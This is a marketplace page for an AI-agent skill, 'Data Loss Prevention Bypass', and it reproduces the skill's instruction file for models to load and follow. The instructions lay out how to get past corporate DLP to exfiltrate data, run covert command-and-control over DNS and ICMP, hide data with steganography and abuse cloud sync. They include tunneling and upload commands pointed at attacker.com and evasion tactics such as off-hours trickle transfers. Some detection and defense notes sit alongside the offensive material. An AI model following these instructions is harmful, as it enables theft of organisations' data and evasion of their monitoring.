Data Loss Prevention Bypass logo

Data Loss Prevention Bypass

Community
brucesongs
data-loss-prevention-bypass

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Overview

Publisherbrucesongs
Repositorykali-claw
Skill namedata-loss-prevention-bypass
Stars
70
Forks
18
Bundled files
9
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 9 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by brucesongs on GitHub. Read the source before you install it.

Installation

Install the Data Loss Prevention Bypass AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/data-loss-prevention-bypass .claude/skills/data-loss-prevention-bypass
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Data Loss Prevention Bypass in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Data Loss Prevention Bypass on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Data Loss Prevention Bypass is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Skill: data-loss-prevention-bypass

Summary

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Tools: garak, PyRIT, promptfoo, custom harnesses

Domain: data-protection

MITRE: TA0010-Exfiltration, T1048-Exfiltration Over Alternative Protocol

Description

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

This skill covers the offensive side of dlp-evasion security, including reconnaissance, vulnerability discovery, exploitation, persistence, and reporting. Aligned with OWASP Top 10, MITRE ATT&CK, and industry-specific compliance frameworks.


Use Cases

  1. DLP bypass: Bypass corporate DLP to exfiltrate sensitive data.
  2. Covert channel: Maintain stealthy C2 channel via DNS/ICMP.
  3. Steganographic exfil: Hide data in images/audio to evade DLP scanning.
  4. Cloud sync abuse: Use sanctioned cloud apps for exfil (OneDrive, Dropbox).
  5. AI-augmented exfil: Use LLM to semantically chunk sensitive data; evades pattern-based DLP.

Core Tools

| dnscat2 | DNS tunneling | dnscat2 --dns domain=attacker.com | | iodine | DNS tunneling (TUN) | iodine -f attacker.com | | steghide | LSB image steganography | steghide embed -cf image.jpg -ef secret.txt | | Coagula | Audio steganography | Generate audio from image | | exiftool | Metadata embedding | exiftool -Comment="secret" image.jpg | | pngcheck | PNG analysis | pngcheck -v image.png | | StegExpose | LSB detection | java StegExpose image.png | | Cloud sync | OneDrive/Dropbox exfil | Native client apps | | WebSocket | Persistent C2 | wss://attacker.com/ws | | HTTP3 / QUIC | Newer protocol exfil | curl --http3 https://attacker.com |


Methodology

Attack Chain

[1] Reconnaissance         [2] Channel Selection     [3] Encoding
  - DLP product identify     - DNS (port 53)            - LSB steganography
  - Whitelist apps           - HTTPS (port 443)         - Base64 + AES
  - Egress monitoring          |                        - Semantic chunking
        |                       v                          |
        v             [3.5] Bandwidth-aware    [4] Exfiltration
[2.5] Side channel   - Off-hours timing         - Slow & distributed
  - Time-of-day        - Slow rate                  - Mix with legit
  - Process patterns     |                            |
                          v                            v
                        [5] Persistence   [6] Reporting
                        - Multi-channel   - DLP bypass PoC
                        - Steganography   - Business impact

Phase Details:

  1. Reconnaissance: Identify DLP product (Symantec, Forcepoint, Microsoft Purview). Whitelist of approved cloud apps. Egress monitoring coverage.
  2. Channel Selection: DNS (often less monitored), HTTPS (most common), ICMP (often unfiltered), cloud sync (sanctioned apps).
  3. Encoding: LSB steganography for images/audio. Base64 + AES for text. Semantic chunking for AI-augmented exfil.
  4. Exfiltration: Slow & distributed to avoid rate-based detection. Mix with legitimate traffic patterns.
  5. Persistence: Multi-channel (DNS + HTTPS + cloud). Steganography for long-term undetected exfil.
  6. Reporting: Document DLP bypass; quantify business impact (regulatory, financial).

Defense Perspective

Defense LayerMeasuresKey Points
Network DLPSSL/TLS inspection at egress; DNS filtering; ICMP inspectionSSL inspection requires CA cert deployment; many orgs skip
Endpoint DLPContent-based monitoring on file read/copy/upload; USB controlEndpoint agent sees data before encryption; critical layer
Cloud DLPCASB (Netskope, Zscaler ZIA); sanctioned vs unsanctioned cloud appsCloud app allowlist; CASB scans content before upload
Steganography DetectionStatistical analysis on images (StegExpose); entropy scanningMost DLP doesn't scan for steganography; gap to close
DNS SecurityDNSSEC; response rate limiting; passiveDNS monitoring for tunnelingDNS tunneling is common exfil; dedicated monitoring needed
Behavioral AnalyticsUEBA on user behavior; alert on anomalous egress patternsPattern-based DLP misses novel attacks; behavioral fills gap

Practical Steps

See payloads.md for detailed payloads and test-cases.md for the complete test checklist.

1. Reconnaissance

Identify target infrastructure; fingerprint products; enumerate attack surface.

2. Vulnerability Discovery

Run automated scanners (garak, PyRIT); manual testing per OWASP Top 10.

3. Exploitation

Chain vulnerabilities for maximum impact; document PoC.

4. Persistence

Establish persistence via configuration changes, scheduled tasks, or backdoors.

5. Reporting

Map findings to MITRE ATT&CK, OWASP, regulatory frameworks; include concrete remediation.


Detection Methods

Network-Layer Indicators

  • DNS tunneling signatures: Long DNS queries (>50 chars), high-entropy subdomains, TXT/A record bursts.
  • DNS beaconing: Periodic DNS queries to attacker-controlled domain.
  • HTTPS to unfamiliar domains: Large uploads to unknown cloud storage / file sharing.
  • Protocol anomalies: SSH over 443, HTTP tunneling, ICMP tunneling (large ping payloads).

SIEM Detection Rules

  • Splunk SPL: index=dns | where len(query) > 50 | stats count by src_ip | where count > 100
  • RITA: Statistical beacon detection.
  • DLP systems: Forcepoint, Symantec DLP for content-based detection.

Endpoint Indicators

  • Mass file read events: Process reading many files in short window.
  • Compress-then-upload: tar/zip followed by curl/scp within 60 seconds.
  • Encrypted archive creation: New .zip/.7z with password (evasion signature).

Defense Evasion Techniques

Bandwidth-Aware Exfiltration

  • Low & slow: Pace exfil below network baseline (e.g., 100 KB/hr).
  • Distribute across protocols: Mix DNS, HTTPS, ICMP.
  • Time-windowed: Use off-hours (1-5 AM local).
  • Trickle over weeks: Spread exfil over long period.

Covert Channels

  • DNS tunneling: dnscat2, iodine.
  • ICMP tunneling: Data in ICMP echo payload.
  • HTTP/3 (QUIC): Many monitoring tools don't decode yet.
  • WebSocket: Persistent connection; bypasses connection-counting.
  • Cloud CDN abuse: Use legitimate CDN to mask destination.

Steganography

  • Image LSB: Encode data in least-significant bits of PNG/BMP.
  • Audio steganography: Encode in WAV/MP3 spectrogram.
  • Video steganography: Frame-by-frame LSB.
  • PDF object abuse: Hide data in PDF object streams.
  • Network packet timing: Covert timing channel.

Cloud Exfiltration Stealth

  • Use sanctioned apps: Upload to corporate OneDrive; below suspicion.
  • OAuth consent abuse: Use legitimate OAuth flow.
  • Snapshot sharing: Share EBS/snapshot to attacker AWS account.
  • Cross-region replication: S3 replication to attacker bucket.

Common Pitfalls

  • Testing in unauthorized environments
  • Ignoring rate limiting (will get blocked)
  • Single-shot testing (real attacks are sustained)
  • Neglecting supply chain
  • Forgetting monitoring/alerting

Reporting and Documentation

Reports should include CVSS scores, MITRE ATT&CK mapping, concrete PoC, business impact, and specific remediation.

Legal and Ethical Considerations

Ensure proper authorization before testing. Document scope in engagement letter. Some attack techniques may violate local laws (e.g., radio transmission without license).

Hacker Laws

LawApplication
Trust but VerifyVerify all outputs; verify all sources
First PrinciplesUnderstand underlying protocols before attacking
Defense in DepthMultiple layers required for robust defense
Assume BreachDesign assuming attacker already inside
Minimize Attack SurfaceReduce unnecessary features/exposure

Learning Resources

Skill supplementary files: payloads.md, test-cases.md

External Resources:

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Data Loss Prevention Bypass AI skill do?

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Why use Data Loss Prevention Bypass on TypingMind?

Because you install it once and use it with any model. Data Loss Prevention Bypass is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Data Loss Prevention Bypass in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/brucesongs/kali-claw/tree/main/skills/data-loss-prevention-bypass. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Data Loss Prevention Bypass?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Data Loss Prevention Bypass?

As many as you like. As long as a model supports skills, you can use Data Loss Prevention Bypass with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Data Loss Prevention Bypass AI skill free?

Yes. It is published on GitHub by brucesongs under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇